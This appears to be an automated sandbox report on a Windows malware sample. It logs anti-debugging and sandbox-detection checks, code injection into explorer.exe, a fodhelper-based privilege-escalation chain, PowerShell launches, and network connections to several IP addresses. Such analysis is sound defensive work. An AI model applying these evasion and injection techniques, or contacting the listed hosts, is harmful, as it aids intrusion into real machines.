Source: C:\Users\user\Desktop\NBHEkIKDCr.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Roaming\cwischf	System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\cwischf	Process queried: DebugPort

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe

Code function: 0_2_004029BA LdrLoadDll,

0_2_004029BA

Source: C:\Users\user\AppData\Local\Temp\76D5.exe

Code function: 7_2_006943E0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

7_2_006943E0

Source: C:\Users\user\AppData\Local\Temp\76D5.exe

7_2_0069D030

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_00AD3CC1 push dword ptr fs:[00000030h]	0_2_00AD3CC1
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_0249092B mov eax, dword ptr fs:[00000030h]	0_2_0249092B
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_02490D90 mov eax, dword ptr fs:[00000030h]	0_2_02490D90
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009B0D90 mov eax, dword ptr fs:[00000030h]	3_2_009B0D90
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009B092B mov eax, dword ptr fs:[00000030h]	3_2_009B092B
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009F39F9 push dword ptr fs:[00000030h]	3_2_009F39F9
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_025570A3 push dword ptr fs:[00000030h]	6_2_025570A3
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_02830042 push dword ptr fs:[00000030h]	6_2_02830042
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0040F460 mov edx, dword ptr fs:[00000030h]	8_2_0040F460
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00702AF0 mov eax, dword ptr fs:[00000030h]	8_2_00702AF0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00709F00 mov ecx, dword ptr fs:[00000030h]	8_2_00709F00
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_007040F0 mov ecx, dword ptr fs:[00000030h]	8_2_007040F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_007040F0 mov eax, dword ptr fs:[00000030h]	8_2_007040F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00702B30 mov eax, dword ptr fs:[00000030h]	8_2_00702B30
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00702B30 mov eax, dword ptr fs:[00000030h]	8_2_00702B30
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00702B10 mov ecx, dword ptr fs:[00000030h]	8_2_00702B10
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00703C80 mov eax, dword ptr fs:[00000030h]	8_2_00703C80
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00703C80 mov ecx, dword ptr fs:[00000030h]	8_2_00703C80
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00703C80 mov eax, dword ptr fs:[00000030h]	8_2_00703C80
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00709F50 mov eax, dword ptr fs:[00000030h]	8_2_00709F50
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00709F50 mov eax, dword ptr fs:[00000030h]	8_2_00709F50
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0045B265 mov eax, dword ptr fs:[00000030h]	13_2_0045B265
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0044B410 mov eax, dword ptr fs:[00000030h]	13_2_0044B410
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0045158B mov eax, dword ptr fs:[00000030h]	13_2_0045158B
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B2092B mov eax, dword ptr fs:[00000030h]	13_2_00B2092B
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B7B4CC mov eax, dword ptr fs:[00000030h]	13_2_00B7B4CC
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B20D90 mov eax, dword ptr fs:[00000030h]	13_2_00B20D90
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B6B677 mov eax, dword ptr fs:[00000030h]	13_2_00B6B677
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B717F2 mov eax, dword ptr fs:[00000030h]	13_2_00B717F2
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00C1D9E3 push dword ptr fs:[00000030h]	13_2_00C1D9E3

Source: C:\Users\user\AppData\Local\Temp\933A.exe

Code function: 13_2_00446880 GetObjectW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetDC,GetDIBits,ReleaseDC,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

13_2_00446880

Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 7_2_006943E0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_006943E0
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 7_2_00694A78 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00694A78
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0044C240 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_0044C240
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00459409 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00459409
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0044BD45 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_0044BD45
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0044BD39 SetUnhandledExceptionFilter,	13_2_0044BD39
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B6C4A7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00B6C4A7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B79670 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00B79670
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B6BFA0 SetUnhandledExceptionFilter,	13_2_00B6BFA0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B6BFAC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00B6BFAC

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: cwischf.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 104.21.46.59 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.143.166.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.198.2.251 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.45.142 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.94.245.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.185.93 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 210.182.29.70 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.53.230.67 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.224.203.37 80	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 91.215.85.17 80

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\76D5.exe

Code function: 6_2_02830110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

6_2_02830110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Thread created: C:\Windows\explorer.exe EIP: 1381AD0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Thread created: unknown EIP: 32E1AD0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Thread created: unknown EIP: 7D61A40
Source: C:\Users\user\AppData\Roaming\cwischf	Thread created: unknown EIP: 3421A40

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Memory written: C:\Users\user\AppData\Local\Temp\76D5.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 6092 base: 5679C0 value: 90			Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 4564 base: 7FF72B812D10 value: 90			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\faischf	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Roaming\cwischf	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\cwischf	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Writes to foreign memory regions

Source: C:\Windows\explorer.exe

Memory written: C:\Windows\SysWOW64\explorer.exe base: 5679C0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Process created: C:\Users\user\AppData\Local\Temp\76D5.exe C:\Users\user\AppData\Local\Temp\76D5.exe	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Local\Temp\C1FD.exe "C:\Users\user\AppData\Local\Temp\C1FD.exe"
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 helpmsg 18
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\C1FD.exe C:\Users\user\AppData\Local\Temp\C1FD.exe
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile

Source: explorer.exe, 00000001.00000000.1691507059.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1690682886.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1693759664.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1690682886.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1690421615.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1690682886.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1690682886.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\933A.exe

Code function: 13_2_0044BF58 cpuid

13_2_0044BF58

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: GetLocaleInfoA,		0_2_0040CBAB
Source: C:\Users\user\AppData\Roaming\faischf	Code function: GetLocaleInfoA,		3_2_0040CBAB

Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
